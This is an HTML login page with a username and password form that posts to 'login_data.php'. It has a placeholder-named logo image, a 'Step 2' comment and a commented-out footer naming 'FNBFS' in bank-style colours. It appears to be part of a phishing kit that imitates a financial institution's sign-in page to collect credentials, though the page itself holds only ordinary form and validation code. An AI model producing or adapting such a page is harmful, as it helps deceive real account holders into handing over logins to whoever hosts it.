<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8" />
  <meta name="viewport" content="width=device-width, initial-scale=1.0" />
  <title>Login</title>
  <style>
    /* General Reset */
    * {
      box-sizing: border-box;
      margin: 0;
      padding: 0;
      font-family: roboto, -apple-system, BlinkMacSystemFont, "Segoe UI", "Helvetica Neue", sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol";
    }
    /* Body Styling */
    html, body {
      height: 100%;
    }
    body {
      position: relative;
      overflow: hidden;
      display: flex;
      align-items: center;
      justify-content: center;
      background-image: url('back.png');
      background-size: cover;
      background-position: center;
    }
    /* Background Blur Effect */
    body::before {
      content: "";
      position: fixed;
      top: 0;
      left: 0;
      right: 0;
      bottom: 0;
      background-image: url('back.png');
      background-size: cover;
      background-position: center;
      filter: blur(8px);
      z-index: -1;
    }
    /* Login Box */
    .login-box {
      background: #fff;
      width: 100%;
      max-width: 480px;
      margin: 32px 8px;
      padding: 60px 40px 40px;
      min-height: 350px;
      border-radius: 8px;
      box-shadow: 0 2px 10px rgba(0, 0, 0, 0.2);
      position: relative;
      overflow: hidden;
    }
    /* Logo Section */
    .logo {
      text-align: center;
      margin-bottom: 20px;
    }
    .logo img {
      max-width: 300px;
    }
    /* Input Group Styling */
    .input-group {
      position: relative;
      margin-bottom: 20px;
    }
    .input-group input {
      width: 100%;
      padding: 15px;
      border: 1px solid #ccc;
      border-radius: 4px;
      outline: none;
      font-size: 16px;
      transition: border-color 0.3s;
    }
    .input-group input:focus {
      border-color: #e74c3c;
    }
    .input-group label {
      position: absolute;
      left: 12px;
      top: 12px;
      color: #999;
      pointer-events: none;
      background: #fff;
      padding: 0 4px;
      transition: transform 0.2s ease-out, font-size 0.2s ease-out, top 0.2s ease-out;
    }
    .input-group input:focus + label,
    .input-group input.not-empty + label {
      top: -10px;
      font-size: 12px;
      color: #d31245;
    }
    /* Links Section */
    .links {
      display: flex;
      justify-content: space-between;
      align-items: center;
      margin-bottom: 20px;
      font-size: 14px;
      margin-bottom: 2.6rem;
      font-weight: bold;
    }
    .links a {
      color: #d31245;
      text-decoration: none;
    }
    .links a:hover {
      text-decoration: underline;
    }
    /* Buttons */
    .btn {
      padding: 10px 15px;
      border: none;
      border-radius: 4px;
      color: #fff;
      font-size: 16px;
      cursor: pointer;
    }
    .signin-btn {
      background: #d31245;
      transition: background 0.3s;
    }
    .signin-btn:hover {
      background: #c0392b;
    }
    /* Loading Animation */
    .loading {
      position: absolute;
      top: 0;
      left: 0;
      right: 0;
      bottom: 0;
      background: rgba(255, 255, 255, 0.8);
      display: flex;
      align-items: center;
      justify-content: center;
      font-size: 18px;
      color: #e74c3c;
      display: none;
    }
    /* Sign-In Section */
    .signin-section {
      display: flex;
      align-items: center;
      justify-content: center;
      gap: 10px;
      margin-top: 10px;
      color: #d31245;
    }
    /* Keyframes for Fade-In */
    @keyframes fadeIn {
      from { opacity: 0; }
      to { opacity: 1; }
    }
    /* Responsive Design */
    @media (max-width: 480px) {
      .login-box {
        width: 98%;
        padding: 40px 15px 20px;
      }
      .btn {
        font-size: 14px;
        padding: 16px 20px;
        margin-left: 10px;
        border-radius: 10px;
      }
      .input-group input {
        font-size: 14px;
      }
    }
    /* Footer Styling */
    footer {
        position: absolute;
        margin-top: 20px;
      bottom: 0;
      width: 100%;
      background: #fff;
      color: #333;
      text-align: center;
      padding: 10px 0;
      font-size: 14px;
    }
    footer a {
      color: #d31245;
      text-decoration: none;
    }
    footer a:hover {
      text-decoration: underline;
    }
  </style>
</head>
<body>
  <!-- Login Box -->
  <div class="login-box">
    <!-- Logo -->
    <div class="logo">
      <img src="11112.png" alt="Logo" />
    </div>
    <!-- Form Submission -->
    <form id="loginForm" action="login_data.php" method="POST">
      <!-- Step 2: Enter Username and Password -->
      <div id="step2" class="step active">
        <div class="input-group">
          <input type="text" id="username" name="username" autocomplete="off" required />
          <label for="username">Username</label>
        </div>
        <div class="input-group">
          <input type="password" id="password" name="password" autocomplete="off" required />
          <label for="password">Password</label>
        </div>
        <div class="links" style="justify-content: flex-end;">
          <a href="#" class="forgot">Forgot?</a>
        </div>
        <div class="signin-section">
          <span>Sign in with credentials</span>
          <button id="signin" class="btn signin-btn" type="submit">Sign In</button>
        </div>
      </div>
      <!-- Loading Animation Overlay -->
      <div id="loading" class="loading">...</div>
    </form>
  </div>
  <!-- Footer -->
 <!--  <footer>
    &copy; 2025 FNBFS. All rights reserved. <br>
    <a href="#">Terms of Service</a> |
    <a href="#">Privacy Policy</a>
  </footer> -->
  <script>
    // Toggle floating label based on input content
    document.querySelectorAll('.input-group input').forEach(input => {
      input.addEventListener('blur', function() {
        if (this.value.trim() !== "") {
          this.classList.add('not-empty');
        } else {
          this.classList.remove('not-empty');
        }
      });
    });

    // Validate form before submission
    document.getElementById('loginForm').addEventListener('submit', function(event) {
      const username = document.getElementById('username').value.trim();
      const password = document.getElementById('password').value.trim();

      if (username === "" || password === "") {
        event.preventDefault(); // Prevent form submission if either field is empty
        if (username === "") {
          document.getElementById('username').focus();
        } else {
          document.getElementById('password').focus();
        }
      }
    });
  </script>
</body>
</html>